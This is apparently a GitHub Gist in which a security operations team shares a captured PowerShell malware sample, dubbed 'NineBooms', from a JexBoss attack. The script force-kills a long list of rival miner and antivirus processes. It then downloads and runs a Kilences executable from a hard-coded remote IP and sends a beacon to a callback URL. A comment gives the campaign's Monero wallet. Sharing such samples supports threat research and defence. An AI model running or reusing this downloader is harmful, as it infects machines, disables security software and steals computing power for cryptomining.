Last active
November 2, 2018 22:44
-
-
Save nma-io/250fdff899e8d458b9ca43cfe715b5fc to your computer and use it in GitHub Desktop.
This was observed through our SOC via an unsuccessful JexBoss attack. We're calling it NineBooms
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $counters = (Get-Counter '\Process(*)\% Processor Time').CounterSamples | |
| $malwares = "Kilence","alm","vag_pag","office","pws_lotinfo_trans","aspnet_state","tasksvr","ekrn","iems","secscan","mysql","trustedinstaller","safedogsiteiis","write","360cleanhelper","sw_magik_gss","wd160session","smsservice","360rps","win1nit","npinst","xmrig","mrservicehost","360rp","hrate","xmr","laozi","csrs","postgres","csrv","safedogguardcenter","sl_gps_msg","javaservice","lsass","taskngr","dc","aipcopywlh64","xqjxke","sl_gps_rule","svhosts","qqexternal","streamserver","qv","sapstartsrv","avgcsrva","360se","alarmservice","nscpucnminer64","thunderplatform","xmrig32","ntrtscan","arp","a8service","msiexev","rsturboball","sl_join_bb808","ramdial","sl_upload809_1","beasvcx64","ptzproxyservice","connect","runtimebroker","system64","win1ogin","sql31","vmware","systemiissec","werfault","w3wp","snmpd","conhosts","taskhots","icrawlers_fbs_cjd","systmss","calcserviced","wmiprvser","bcompare","helppanc","memcached","qqpctray","see64","sl_join_srv","svchsot","reportengine","lms","winlogo","360tray","sppscv","nmsclient","mysqld","stest","apache","waterfox","teamviewer","mssql","mscorswv","jp2launcher","service","launch","tktbqi","mssys","taskhost","coiacy","networkmanager","systemtask","runtime","msmpeng","7za","reportingservicesservice","firefox","zhudongfangyu","wudfhost","javaw","mscl","lsmosee","cs","secury","db2syscs","xmr86","httpd","esetonlinescanner_enu","java","magserver","ravmond","chrome","serviceshost","update_windows","chinelada","system","carboniteservice","perl","ctsrvr","voipswitch","qqprotect","taskmgr","scope","vrmserver","wmiprvse","centralclient","csres","mcshield","mgmt","seccopy","wininits","decodeprocess","dvsvct","csrss","dvsvcs","update64","regsvr32","sl_gps_gpsserver","servicewatchdog","mininews","dllhost","msiexec","ntvdm","ivms","oneclickservice","cidaemon","spoolvs","cloudhelper","desktoplayer","conhost","messageserver","vshell","vag_stream","logon","powershell","svchosts3","servisce","vtdu","stream","process","svchost","qqpcnetflow","tomcat7","tomcat6","spoolsv","spectroserver","sceserver","filesearcherindex","tomcat8","sqlservr","mapa","nlbrute","360sdupd","winlogon","ccsvchst","csc","safedogtray","appserver","hpbsm_wde","ksmsvc","tkinstaller","calcclientgyd","smss","ns","mscorsvw","xmrig1","winlogin","qqpcrealtimespeedup","explorer","mscorswu","convert_imagemagick","win1ogins","qqpcrtp","nmsserver","oracle","winlnlts","svchostx","cms_controlclient","services","inteldevicemanager","iexplore","lsmose","frmweb","pag","dcserver","ggtbviewer","winlogan","cpuminer","minergate","cascade","wmiapsrv","nvidia","softupnotify","sl_gps_adapter" | |
| $malwares2 = "Silence","Carbon","xmrig32","nscpucnminer64","mrservicehost","servisce","svchosts3","svhosts","system64","systemiissec","taskhost","vrmserver","vshell","winlogan","winlogo","logon","win1nit","wininits","winlnlts","taskngr","tasksvr","mscl","cpuminer","sql31","taskhots","svchostx","xmr86","xmrig","xmr","win1ogin","win1ogins","ccsvchst","nscpucnminer64","update_windows" | |
| foreach ($counter in $counters) { | |
| if ($counter.CookedValue -ge 50) { | |
| if ($counter.InstanceName -eq "idle" -Or $counter.InstanceName -eq "_total") { | |
| continue | |
| } | |
| foreach ($malware in $malwares) { | |
| if ($counter.InstanceName -eq $malware) { | |
| Stop-Process -processname $counter.InstanceName -Force | |
| } | |
| } | |
| } | |
| foreach ($malware2 in $malwares2) { | |
| if ($counter.InstanceName -eq $malware2) { | |
| Stop-Process -processname $counter.InstanceName -Force | |
| } | |
| } | |
| } | |
| $SELF_COPY = "$HOME\win.txt" | |
| $HSST = "http://200.7.97.205:8086" | |
| $CALLBACK = $HSST | |
| $DEFAULT_RFILE = "$HSST/64Kilences.exe" | |
| $OTHERS_RFILE = "$HSST/32Kilences.exe" | |
| $LFILE_PATH = "$env:TMP\Drive.exe" | |
| $DOWNLOADER = New-Object System.Net.WebClient | |
| $SYSTEM_BIT = [System.IntPtr]::Size | |
| if ( $SYSTEM_BIT -eq 8 ) { | |
| $DOWNLOADER.DownloadFile($DEFAULT_RFILE, $LFILE_PATH) | |
| } else { | |
| $DOWNLOADER.DownloadFile($OTHERS_RFILE, $LFILE_PATH) | |
| } | |
| if ( !(Get-Process systemgo -ErrorAction SilentlyContinue) ) { | |
| $DOWNLOADER.DownloadString("$CALLBACK/?info=w0") | |
| cmd.exe /c $LFILE_PATH | |
| } else { | |
| $DOWNLOADER.DownloadString("$CALLBACK/?info=w9") | |
| } |
Awesome find, thank you for the contribution!
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Monero Wallet is: 45cToD1FzkjAxHRBhYKKLg5utMGENqyamWrY8nLNkVQ4hJgLHex1KNRZcz4finRjMpAYmPxDaXVpN2rV1jMNyXRdMEaH1YA and is searchable on MineXMR.com - Appears to have generated around $3200 at the current exchange rate.